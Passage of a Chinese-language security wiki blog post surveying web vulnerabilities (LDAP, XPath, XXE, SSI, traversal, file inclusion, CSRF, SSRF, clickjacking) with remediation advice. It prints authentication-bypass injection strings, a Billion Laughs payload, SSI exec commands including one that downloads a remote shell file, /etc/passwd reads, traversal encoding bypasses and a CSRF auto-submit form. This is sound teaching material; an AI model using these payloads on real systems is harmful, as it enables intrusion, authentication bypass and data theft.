http://www.example.com/ldapsearch?user=*

​ 过滤器如下所示:

1
searchfilter="(cn=*)"

​ 匹配具有“cn”属性的每个对象等于任何内容。

​ 如果应用程序容易受到LDAP注入的攻击,它将显示部分或全部用户属性,具体取决于应用程序的执行流程和LDAP连接的用户的权限。

​ 测试人员可以使用试错方法,通过在参数插入“(|&*”和其他字符,以检查错误的应用程序。

场景2:登录

​ 如果Web应用程序在登录过程中使用LDAP来检查用户凭据,并且容易受到LDAP注入的影响,则可以通过注入始终为真的LDAP查询(以类似于SQLXPATH注入的方式)来绕过身份验证检查。

​ 假设Web应用程序使用过滤器来匹配LDAP用户/密码对。

1
searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";

​ 通过使用以下值:

1
2
user=*)(uid=*))(|(uid=*
pass=password

​ 搜索过滤器将导致:

1
searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";

​ 这是正确的,而且永远都是正确的。这样,测试人员将以LDAP树中的第一个用户身份获得登录状态。

修复建议

  • 防止LDAP注入的最佳方法是使用必要的验证方案,以确保进入查询的数据不包含任何攻击。但是,在某些情况下,有必要在传递给LDAP查询的输入中包含特殊字符。在这种情况下,使用转义可以防止LDAP解释器认为那些特殊字符实际上是LDAP查询的一部分。

  • LDAP的目录结构的DNDistinguished Name)中需要使用“\”转义的特殊字符

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    &
    !
    |
    =
    <
    >
    ,
    +
    -
    "
    '
    ;
  • 需要使用{\ASCII}转义的特殊字符

    1
    2
    3
    4
    5
    6
    (     {\28}
    ) {\29}
    \ {\5c}
    * {\2a}
    / {\2f}
    NUL {\0}

XML外部实体注入(XXE)

漏洞描述

  • XML外部实体攻击是针对应用程序解析XML输入类型的攻击。当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。

漏洞危害

  • 泄露机密数据。

  • 拒绝服务。

  • 伪造服务器端请求(SSRF)。

  • 参数实体,读取任意文件。

  • 通过Xinclude 包含外部资源。

  • 进行内网端口扫描探测。

攻击案例

场景1:Billion Laughs 攻击,此攻击会使XML解析器的内存过载,从而造成目标拒绝服务:

请求包

1
2
3
4
5
6
7
8
9
10
11
12
POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar "World ">
<!ENTITY t1 "&bar;&bar;">
<!ENTITY t2 "&t1;&t1;&t1;&t1;">
<!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
]>
<foo>
Hello &t3;
</foo>

响应包

1
2
3
HTTP/1.0 200 OK

Hello World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World

检测方法

  • 源代码审计:

    如果以下Java API配置不正确,则目标系统可能容易受到XXE的攻击。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    javax.xml.parsers.DocumentBuilder
    javax.xml.parsers.DocumentBuildFactory
    org.xml.sax.EntityResolver
    org.dom4j.*
    javax.xml.parsers.SAXParser
    javax.xml.parsers.SAXParserFactory
    TransformerFactory
    SAXReader
    DocumentHelper
    SAXBuilder
    SAXParserFactory
    XMLReaderFactory
    XMLInputFactory
    SchemaFactory
    DocumentBuilderFactoryImpl
    SAXTransformerFactory
    DocumentBuilderFactoryImpl
    XMLReader
    Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser

检查源代码是否将docType,外部DTD和外部参数实体设置为禁止使用。

C语言xml解析库源代码检查关键字:

1
2
libxml2: xmlCtxtReadMemory,xmlCtxtUseOptions,xmlParseInNodeContext,xmlReadDoc,xmlReadFd,xmlReadFile,xmlReadIO,xmlReadMemory,xmlCtxtReadDoc,xmlCtxtReadFd,xmlCtxtReadFile,xmlCtxtReadIO
libxerces-c: XercesDOMParser,SAXParser,SAX2XMLReader

使用wfuzz工具:https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/XML.txt

修复建议

  • 防止XXE的最安全方法始终是完全禁用DTD(外部实体)。

  • 使用开发语言提供的禁用外部实体的方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    PHP
    libxml_disable_entity_loader(true);

    JAVA
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);

    Python
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据:<!DOCTYPE<!ENTITY,或者,SYSTEMPUBLIC

SSI注入

漏洞描述

  • SSIWeb应用程序上存在的指令,用于向HTML页面提供动态内容。它们与CGI相似,除了SSI用于在加载当前页面之前或在可视化页面时执行某些操作。为此,Web服务器在将页面提供给用户之前先分析SSI

  • 服务器端包含攻击允许通过在HTML页面中注入脚本或远程执行任意代码来利用Web应用程序。可以通过操纵应用程序中使用的SSI来利用它,也可以通过用户输入字段来强制使用它。

漏洞危害

  • 攻击者可以访问敏感信息,例如密码文件,并执行未经授权的代码或命令。SSI伪指令注入到输入字段中,并将它们发送到Web服务器。Web服务器在提供页面之前会解析并执行指令。然后,下次为用户的浏览器加载页面时,攻击结果将可见。

攻击案例

场景1:根据所使用的服务器操作系统,用于注入SSI的命令会有所不同。以下命令代表应用于执行OS命令的语法。

Linux

1
2
3
4
5
6
7
8
列出目录文件:
<!--#exec cmd="ls" -->
访问目录:
<!--#exec cmd="cd /root/dir/">
访问目录:
<!--#exec cmd="cd /root/dir/">
执行脚本:
<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->

Windows

1
2
3
4
列出目录文件:
<!--#exec cmd="dir" -->
访问目录:
<!--#exec cmd="cd C:\admin\dir">

场景2:

​ 可用于访问和设置服务器信息的其他SSI示例:

1
2
3
4
5
6
7
8
9
10
要更改错误消息输出:
<!--#config errmsg="File not found, informs users and password"-->
要显示当前文档的文件名:
<!--#echo var="DOCUMENT_NAME" -->
要显示虚拟路径和文件名:
<!--#echo var="DOCUMENT_URI" -->
使用“ config”命令和“ timefmt”参数,可以控制日期和时间输出格式:
<!--#config timefmt="A %B %d %Y %r"-->
使用“ fsize”命令,可以打印所选文件的大小:
<!--#fsize file="ssi.shtml" -->

检测方法

  • 前提条件:

    支持服务器端的Web服务器包括并启用了它们,用户可控制的输入,可以包含Web服务器的包含指令。

    查找流行的页面文件名。攻击者将在URL中寻找.shtml.shtm.asp.aspx和其他知名字符串,以帮助确定是否启用了SSI功能。

    提取.htaccess文件。在Apache Web服务器安装中,.htaccess文件可以在特定位置启用服务器端包含。在这些情况下,.htaccess文件位于启用SSI的目录中,并且从理论上讲可以从Web服务器获取。尽管大多数Web服务器都拒绝获取.htaccess文件,但配置错误的服务器将允许它。

    使用代理工具来跟踪和记录所有链接。特别注意URL中包含参数的任何链接。

    使用代理工具记录在手动遍历Web应用程序期间访问的所有链接。特别注意URL中包含参数的任何链接。经常需要使用这种类型的手动遍历来识别属于GET方法形式而不是POST形式的形式。

  • 常见测试代码:

    1
    2
    3
    4
    5
    6
    7
    8
    <!--#echo var="DATE_LOCAL" -->
    打印当前时间。
    <!--#include virtual="/cgi-bin/counter.pl" -->
    包括CGI脚本的输出。
    <!--#include virtual="/footer.html" -->
    在目录中包含文件或列表文件的内容。
    <!--#exec cmd="ls" -->
    包括系统命令的输出。

    找到潜在的注入点列表后,我们可以检查输入是否正确验证,然后找出所提供输入的存储位置。我们需要确保可以注入SSI指令中使用的字符:

    1
    < ! # = / . " - > and [a-zA-Z0-9]

为了测试验证是否足够,我们可以以输入形式输入例如以下字符串:

1
<!--#include virtual="/etc/passwd"  -->

如果Web应用程序将使用该数据来构建动态生成的页面,则也可以在HTTP标头中执行注入:

1
2
3
GET / HTTP/1.0
Referer: <!--#exec cmd="/bin/ps ax"-->
User-Agent: <!--#include virtual="/proc/version"-->

修复建议

  • 在全局access.conf文件或本地.htaccessApache)文件中设置OPTIONS IncludesNOEXEC,以拒绝不需要它们的目录中的SSI执行。

  • 必须对所有用户可控制的输入进行适当的过滤。这包括省略或编码某些可能被解释为SSI指令一部分的字符或字符串。

  • 非必要情况下关闭“服务端包含”。

XPATH注入

漏洞描述

  • XPath是一种主要为解决XML文档的某些部分而设计和开发的语言。XPath注入与SQL注入类似,当网站使用用户提供的信息为XML数据构造XPath查询时,就会发生XPath注入攻击。通过将故意格式错误的信息发送到网站,攻击者可以了解XML数据的结构,或访问他们通常无法访问的数据。

  • XML的查询是通过XPath完成的,XPath是一种简单的描述性语句,它允许XML查询找到一条信息。与SQL一样,您可以指定要查找的某些属性以及要匹配的模式。在网站上使用XML时,通常会接受查询字符串的某种形式的输入,以标识要定位并显示在页面上的内容。

漏洞危害

  • 如果将XML数据用于身份验证(例如,基于XML的用户文件),他们甚至可以在网站上提升特权。

  • 成功利用此漏洞后,攻击者可能会未经适当的授权就绕过身份验证机制或访问信息。

攻击案例

场景1:我们将使用此XML代码段作为示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="utf-8"?>
<Employees>
<Employee ID="1">
<FirstName>Arnold</FirstName>
<LastName>Baker</LastName>
<UserName>ABaker</UserName>
<Password>SoSecret</Password>
<Type>Admin</Type>
</Employee>
<Employee ID="2">
<FirstName>Peter</FirstName>
<LastName>Pan</LastName>
<UserName>PPan</UserName>
<Password>NotTelling</Password>
<Type>User</Type>
</Employee>
</Employees>

​ 假设我们在网页上有一个用户身份验证系统,该系统使用这种数据文件来登录用户。提供用户名和密码后,该软件可能会使用XPath查找用户:

1
2
3
4
5
6
7
8
9
VB:
Dim FindUserXPath as String
FindUserXPath = "//Employee[UserName/text()='" & Request("Username") & "' And
Password/text()='" & Request("Password") & "']"

C#:
String FindUserXPath;
FindUserXPath = "//Employee[UserName/text()='" + Request("Username") + "' And
Password/text()='" + Request("Password") + "']";

​ 使用普通的用户名和密码,此XPath可以工作,但是攻击者可能发送错误的用户名和密码,并在不知道用户名或密码的情况下选择了XML节点,如下所示:

1
2
3
4
5
6
7
Username: blah' or 1=1 or 'a'='a
Password: blah
FindUserXPath becomes //Employee[UserName/text()='blah' or 1=1 or
'a'='a' And Password/text()='blah']
Logically this is equivalent to:
//Employee[(UserName/text()='blah' or 1=1) or
('a'='a' And Password/text()='blah')]

​ 在这种情况下,仅XPath的第一部分需要为真。密码部分变得无关紧要,并且由于“ 1 = 1”部分,用户名部分将与所有员工匹配。

检测方法

  • XPath注入测试中,我们测试是否可以将XPath语法注入到应用程序解释的请求中,从而允许攻击者执行用户控制的XPath查询。

  • 假设我们的数据库由以下XML文件表示:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <users>
    <user>
    <username>gandalf</username>
    <password>!c3</password>
    <account>admin</account>
    </user>
    <user>
    <username>Stefan0</username>
    <password>w1s3c</password>
    <account>guest</account>
    </user>
    <user>
    <username>tony</username>
    <password>Un6R34kb!e</password>
    <account>guest</account>
    </user>
    </users>

    一个返回用户名gandalf和密码为的帐户的XPath查询!c3如下:

    1
    string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())

    如果应用程序未正确过滤用户输入,则测试人员将能够注入XPath代码并干扰查询结果。例如,测试人员可以输入以下值:

    1
    Username: ' or '1' = '1  Password: ' or '1' = '1

    使用这些参数,查询将变为:

    1
    string(//user[username/text()='' or '1' =  '1' and password/text()='' or '1' = '1']/account/text())

    与常见的SQL注入攻击一样,我们创建了一个始终为true的查询,这意味着即使未提供用户名或密码,应用程序也将对用户进行身份验证。与使用XPath注入的常见SQL注入攻击一样,第一步是在要测试的字段中插入'(单引号),在查询中引入语法错误,并检查应用程序是否返回错误消息。

修复建议

  • 就像避免SQL注入的技术一样,需要使用参数化的XPath接口,或者转义用户输入以使其可以安全地包含在动态构造的查询中。如果使用引号终止动态构造的XPath查询中的不可信输入,则需要在不可信输入中转义该引号,以确保不可信数据不能尝试脱离该引用上下文。在以下示例中,单引号(')用于终止UsernamePassword参数。因此,我们需要用该字符的XML编码版本(即“'”)替换此输入中的所有'字符。

  • 使用预编译的XPATH查询,预编译的XPath查询是在程序执行前已经预设。

反序列化

漏洞描述

  • 序列化和反序列化是指以下过程:获取程序内部与对象相关的数据,将其打包以允许将数据从外部存储或传输(“序列化”),然后提取序列化的数据以重建原始对象(“反序列化”)。

  • 序列化是将某些对象转换为可以稍后恢复的数据格式的过程。人们经常序列化对象,以将其保存到存储中或作为通信的一部分进行发送。

  • 反序列化是该过程的逆过程,它采用某种格式构造数据,然后将其重建为对象。如今,用于序列化数据的最流行的数据格式是JSON。在此之前,它是XML

漏洞危害

  • 反序列化可能导致远程代码执行攻击,这是可能发生的最严重的攻击之一。

攻击案例

······

检测方法

  • 黑盒测试:

    搜索以下以下列开头的base64编码的内容:

    1
    AAEAAAD/////

    搜索带有以下文本的内容:

    1
    2
    TypeObject
    $type:

    白盒测试:

    在源代码中搜索以下术语:

    1
    2
    TypeNameHandling
    JavaScriptTypeResolver

修复建议

  • 不允许数据流定义将反序列化到的对象的类型。可以通过使用DataContractSerializerXmlSerializer尽可能避免这种情况。

  • 使用替代数据格式:通过避免本机(反)序列化格式,可以大大降低风险。通过切换为JSONXML之类的纯数据格式,可以减少自定义反序列化逻辑重新用于恶意目的的机会。

  • 仅反序列化签名数据:如果应用程序在反序列化之前知道需要处理哪些消息,则可以在序列化过程中对它们进行签名。然后,应用程序可以选择不对没有身份验证签名的任何消息进行反序列化。

目录遍历

漏洞描述

  • 由于Web服务器或者Web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件(可以使Web根目录以外的文件),甚至执行系统命令。 程序在实现上没有充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。

漏洞危害

  • 攻击者可能能够创建,覆盖,删除或破坏,用于执行代码的关键文件,例如程序或库。

  • 如果目标文件用于安全机制,则攻击者可能能够绕过该机制。例如,在密码文件末尾附加新帐户可能使攻击者可以绕过身份验证。

  • 攻击者可能能够读取意外文件的内容并暴露敏感数据。如果目标文件用于安全机制,则攻击者可能能够绕过该机制。例如,通过读取密码文件,攻击者可以进行暴力破解密码猜测攻击,以便获取目标系统帐户权限。

  • 可能会完全阻止目标运行,并且在使用诸如身份验证之类的保护机制的情况下,它可能会锁定目标的每个用户。

  • 攻击者可能使用目录遍历来下载服务器配置文件,其中包含敏感信息并可能暴露更多服务器漏洞。最终,攻击者可以访问机密信息,甚至可以完全控制服务器。

攻击案例

场景1:以下是perl语言的目录遍历代码示例,其中每个用户的个人资料信息都存储在单独的文件中,并且所有文件都存储在一个目录中。

1
2
3
4
5
6
7
8
9
my $dataPath = "/users/root/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
print "<li>$_</li>\n";
}
print "</ul>\n";

​ 攻击者可以构造以下payload进行攻击,打开文件后,操作系统会在路径规范化期间解析“../”,并真实访问此文件:“/etc/passwd”,攻击者可以读取密码文件的内容。

1
/users/root/profiles/../../../etc/passwd

检测方法

  • 攻击者通过访问根目录,发送一系列“../”字符来遍历高层目录,可以执行系统命令,甚至使系统崩溃,并且尝试找到系统的配置文件或者系统中存在的敏感文件。

  • 也可通过判断网站语言,并根据其url中部分提供的参数,进行构造相关的路径信息,如收集到网站中间件版本为apache,则想办法构造../../../Web-INF/Web.xml等,然后查看其是否可被下载出来。随后可构造下载系统文件。

  • 编码或者多重编码绕过:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    编码或多重编码   |   明码内容 
    %2e%2e%2f | ../
    %2e%2e/ | ../
    ..%2f | ../
    %2e%2e%5c | ..\
    %2e%2e\ | ..\
    ..%5c | ..\
    %252e%252e%255c | ..\
    ..%255c | ..\
    ..%c0%af | ../
    ..%c1%9c | ..\

修复建议

  • 防止文件路径遍历漏洞的最有效方法是避免将用户提供的输入完全传递给文件系统API

  • 需对用户提交的内容进行严格的过滤,主要指过滤目录跳转符“../”,字符截断符,dir命令等。

  • 严格控制Web根目录的权限。

文件包含

漏洞描述

  • 文件包含是指程序代码在处理包含文件的时候没有严格控制。主要包括本地文件包含和远程文件包含两种形式,由于开发人员编写源码,开放着将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执行。由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行。文件包含攻击中Web服务器源码里可能存在inlcude()此类文件包含操作函数,可以通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因。

漏洞危害

  • 文件包含漏洞会导致用户可以构造参数包含远程代码在服务器上执行,并得到网站配置或者敏感文件,进而获取到服务器权限,造成网站被恶意删除,用户和交易数据被篡改等一系列恶性后果。

  • 即使没有上载和执行代码的能力,本地文件包含漏洞也可能很危险。攻击者仍然可以使用LFI漏洞执行目录遍历/路径遍历攻击。

攻击案例

场景1:以下是php存在文件包含的问题代码,通过使用提供的’module_name‘参数并将字符串’/function.php‘附加到’module_name‘之后,可以构建文件的路径。通过对 ‘module_name’参数进行构造’?module_name=abc/function.php’,如果’function.php’内容是’ system($_GET['cmd']);’,则攻击者可以构造恶意payload?module_name=abc&cmd=/etc/passwd’,来读取目标服务器的敏感文件。

1
2
$dir = $_GET['module_name'];
include($dir . "/function.php");

检测方法

  • 通过代码审计的方式检查代码里出现include或require的代码段;

  • 典型的概念验证是加载passwd文件:

    1
    http://vulnerable_host/preview.php?file=../../../../etc/passwd

    如果成功执行则会回显以下内容:

    1
    2
    3
    4
    5
    6
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    alex:x:500:500:alex:/home/alex:/bin/bash
    margo:x:501:501::/home/margo:/bin/bash
    ...

修复建议

  • 为避免本地文件包含(LFI)和远程文件包含(RFI),保证用户输入不可信。如果需要在网站或Web应用程序代码中包含本地文件,请使用允许的文件名和位置的白名单。使用文件上传功能,确保攻击者无法替换这些文件。

  • 需对用户提交的内容进行严格的过滤,主要指过滤目录跳转符“../”,字符截断符,dir命令等。

  • 严格控制Web根目录的权限。

跨站请求伪造(CSRF)

漏洞描述

  • CSRFCross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

漏洞危害

  • 获得特权或承担身份;绕过保护机制;读取应用数据;修改申请数据;DoS攻击:使目标崩溃,退出或重新启动。

  • 攻击者可以成功地执行任何操作,决定于受害者的权限。如果受害者是管理员或特权用户,则后果可能包括获得对Web应用程序的完全控制-删除或窃取数据,卸载产品或使用它对产品的所有者发起其他攻击。由于攻击者获取了受害者的权限,因此CSRF的影响范围仅受受害者的特权限制。

攻击案例

场景1:

​ 受害者登录a.com,并保留了登录凭证(Cookie)。

​ 攻击者引诱受害者访问了b.com

b.coma.com 发送了一个请求:a.com/act=xx。浏览器会默认携带a.comCookie

a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。

a.com以受害者的名义执行了act=xx

​ 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。

检测方法

  • 攻击者有理由诱使应用程序中发生某种动作。这可能是特权操作(例如,修改其他用户的权限)或对用户特定数据的任何操作(例如,更改用户自己的密码)。

  • 执行该操作涉及发出一个或多个HTTP请求,并且该应用程序仅依靠会话cookie来标识发出请求的用户。没有其他机制可以跟踪会话或验证用户请求。

  • 执行该操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当使用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不会受到影响。

  • 例如,假设一个应用程序包含一个功能,该功能使用户可以更改其帐户上的电子邮件地址。用户执行此操作时,将发出如下HTTP请求:

    1
    2
    3
    4
    5
    6
    7
    POST /email/change HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 30
    Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

    email=wiener@normal-user.com
  • 在满足CSRF攻击条件的情况下,攻击者可以构建包含以下HTML的网页:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <html>
    <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
    <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
    document.forms[0].submit();
    </script>
    </body>
    </html>
  • 如果受害用户访问攻击者的网页,则会发生以下情况:

  • 攻击者的页面将触发对易受攻击的网站的HTTP请求。 如果用户登录到易受攻击的网站,则其浏览器将自动在请求中包括其会话cookie(假设未使用SameSite cookie)。 易受攻击的网站将以正常方式处理请求,将其视为受害用户提出,并更改其电子邮件地址。

修复建议

  • CSRF自动防御策略:同源检测(OriginReferer验证)。

  • 利用SameSite Cookie属性。

  • CSRF主动防御措施:Token验证或者双重Cookie验证以及配合Samesite Cookie

  • 保证页面的幂等性,后端接口不要在GET页面中做用户操作。

  • 基于用户交互的CSRF防御:重新认证(密码)、一次性令牌、验证码。

服务器端伪造请求(SSRF)

漏洞描述

  • SSRFServer-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求,由服务端发起的请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统。

漏洞危害

  • 成功利用SSRF攻击通常会导致易受攻击的应用程序本身或应用程序可以与之通信的其他后端系统上未经授权的操作或对组织内数据的访问。在某些情况下,SSRF漏洞可能允许攻击者执行任意命令执行。

  • 导致与外部第三方系统建立连接的SSRF利用可能导致恶意的继续攻击。

攻击案例

检测方法

修复建议

  • 禁止跳转。

  • 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果Web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

  • 禁用不需要的协议,仅仅允许httphttps请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题

  • 设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP

  • 限制请求的端口为http常用的端口,比如 8044380808090

  • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

  • 黑名单过滤器:

    阻止包含主机名(如127.0.0.1localhost)。

    阻止内网地址的访问(如192.168.x.x/10.x.x.x等)。

    使用URL编码或大小写变化对阻塞的字符串进行混淆。

  • 白名单过滤器:

    使用@字符在主机名之前的URL中嵌入凭据。例如:https://expected-host@evil-host

    使用该#字符来指示URL片段。例如:https://evil-host#expected-host

    利用DNS命名层次结构将所需的输入放入您控制的标准DNS名称中。例如:https://expected-host.evil-host

    使用URL编码字符来混淆URL解析代码。如果实现过滤器的代码与执行后端HTTP请求的代码以不同的方式处理URL编码的字符,则这特别有用。

中间人攻击

漏洞描述

  • 中间人攻击(Man-in-the-Middle Attack, MITM)是一种由来已久的网络入侵手段,并且当今仍然有着广泛的发展空间,如SMB会话劫持、DNS欺骗等攻击都是典型的MITM攻击。简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。当黑客将自己插入客户端和服务器的通信之间时,就会发生MitM攻击。

  • 中间人攻击常见类别:IP欺骗、DNS欺骗、ARP欺骗、HTTPS欺骗、SSL劫持、DNS劫持、电子邮件劫持、WIFI窃听、窃取浏览器CookieSSL剥离。

漏洞危害

  • 一旦攻击者找到了易受攻击的路由器,他们便可以部署工具来拦截和读取受害者的传输数据。然后,攻击者还可以将其工具插入受害者的计算机和用户访问的网站之间,以捕获登录凭据,银行信息和其他个人信息。

  • 成功利用中间人攻击的攻击者可以窃取用户的敏感信息、挂马等。

攻击案例

场景1:会话劫持:

在这种MitM攻击中,攻击者劫持了受信任的客户端和网络服务器之间的会话。当服务器继续会话时,攻击计算机将其IP地址替换为受信任的客户端,认为它正在与客户端进行通信。例如,攻击可能会像这样展开:

1.客户端连接到服务器。

2.攻击者的计算机控制了客户端。

3.攻击者的计算机将客户端与服务器断开连接。

4.攻击者的计算机用其自己的IP地址替换客户端的IP地址,并欺骗客户端的序列号。

5.攻击者的计算机继续与服务器对话,并且服务器认为服务器仍在与客户端通信。

检测方法

  • 中间人攻击常见攻击工具:

    dsniff —— 一个实现SSHSSL中间人攻击的工具

    Cain and Abel —— Windows图形界面的工具,它可以执行中间人攻击,嗅探和ARP投毒

    Ettercap —— 一个基于局域网的中间人攻击工具

    Karma —— 一个使用802.11 Evil Twin以执行MITM攻击的工具

    AirJack —— 一个演示802.11 MITM攻击的工具

    SSLStrip—— 一个基于SSLMITM攻击的工具

    SSLSniff—— 一个基于SSLMITM攻击的工具。原本是利用一个在Internet Explorer上缺陷实现的。

    csploit —— 一个在android系统上实现的MITM攻击工具包。

    Mallory —— 一个透明的TCPUDP MiTMing代理。扩展到MITM SSLSSH和许多其他协议。

    wsniff —— 一个802.11 HTTP/HTTPS的基于MITM攻击的工具

修复建议

  • 接入更安全的加密协议WEP/WAP的无线网络

    无线访问点具有强大的加密机制,可以防止有害用户仅在附近就可以加入您的网络。弱的加密机制可以使攻击者以暴力方式进入网络并开始中间人攻击。加密实施越强,就越安全。

  • 设置更安全的路由器登录凭证

    确保更改默认路由器登录名。不仅是Wi-Fi密码,还有路由器管理界面的登录凭据。如果攻击者找到了路由器登录凭据,则他们可以将DNS服务器更改为恶意服务器。甚至使用恶意软件感染路由器。

  • 使用虚拟专用网

    VPN可用于为局域网内的敏感信息创建安全的环境。他们使用基于密钥的加密来创建用于安全通信的子网。这样,即使攻击者碰巧进入共享的网络,他也将无法破译VPN中的流量。

  • 强制使用HTTPS

    HTTPS可用于使用公私密钥交换通过HTTP安全地进行通信。这样可以防止攻击者利用它正在嗅探的数据。网站应仅使用HTTPS,而不应提供HTTP替代方法。用户可以安装浏览器插件以始终对请求使用HTTPS来强制实施。

  • 基于公钥对的身份验证

    中间人攻击通常涉及欺骗某物或另一物。可以在堆栈的各个层中使用基于公共密钥对的身份验证(例如RSA),以帮助确保正在与之通信的对象是否确实是要与之通信的对象。

点击劫持

漏洞描述

  • 点击劫持(Click Jacking)是一种视觉上的欺骗手段,攻击者通过使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,通过调整iframe页面的位置,可以使得伪造的页面恰好和iframe里受害页面里一些功能重合(按钮),以达到窃取用户信息或者劫持用户操作的目的。

漏洞危害

  • 成功利用此漏洞攻击者可以窃取用户敏感信息。

攻击案例

场景1:从Google Chrome 4.0IE8开始,引入了XSS过滤器,以保护用户免受反射的XSS攻击。NavaLindsay已经观察到,这类过滤器可以伪装成恶意代码,从而用于停用帧无效代码。

示例:目标网页框架无效代码:

1
2
3
4
5
6
<script>
if ( top != self )
{
top.location=self.location;
}
</script>

攻击者代码:

1
<iframe src=”http://target.com/?param=<script>if”>

检测方法

  • 测试人员可以通过创建一个简单的网页(包括包含目标网页的框架)来测试目标网页是否可以加载到嵌入式框架中。以下代码段显示了用于创建此测试网页的HTML代码示例:

    1
    2
    3
    4
    5
    6
    7
    8
    <html>
    <head>
    <title>Clickjack test page</title>
    </head>
    <body>
    <iframe src="http://www.target.site" width="500" height="500"></iframe>
    </body>
    </html>
  • 如果将http://www.target.site页面成功加载到框架中,则该站点容易受到攻击,并且没有针对点击劫持攻击的保护措施。

  • OWASP检测方法:

    https://owasp.org/www-project-Web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking.html

修复建议

  • 可以使用三种主要机制来防御这些攻击:

    禁止浏览器使用X-Frame-Options或内容安全策略(frame-ancestors) HTTP标头在框架中加载页面。

    使用SameSite cookie属性将页面加载到框架中时,防止包含会话cookie

    在页面中实现JavaScript代码以尝试防止将其加载到框架中。

  • 基于内容安全策略(CSP)防止点击劫持,以下CSP仅将框架列入白名单:

    为了防止内容的所有框架使用:

    Content-Security-Policy: frame-ancestors 'none';

    要允许网站本身使用,请使用:

    Content-Security-Policy: frame-ancestors 'self';

    要允许信任域,请执行以下操作:

    Content-Security-Policy: frame-ancestors trusted.com;

士不可以不弘毅,任重而道远。仁以为己任,不亦重乎?死而后已,不亦远乎?

本文标题:漏洞安全知识Wiki

文章作者:yaron

发布时间:2020年12月04日 - 15:02:28

最后更新:2020年12月04日 - 16:35:37

原文链接:https://yaalonsong.github.io/2020/12/04/漏洞安全知识Wiki.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。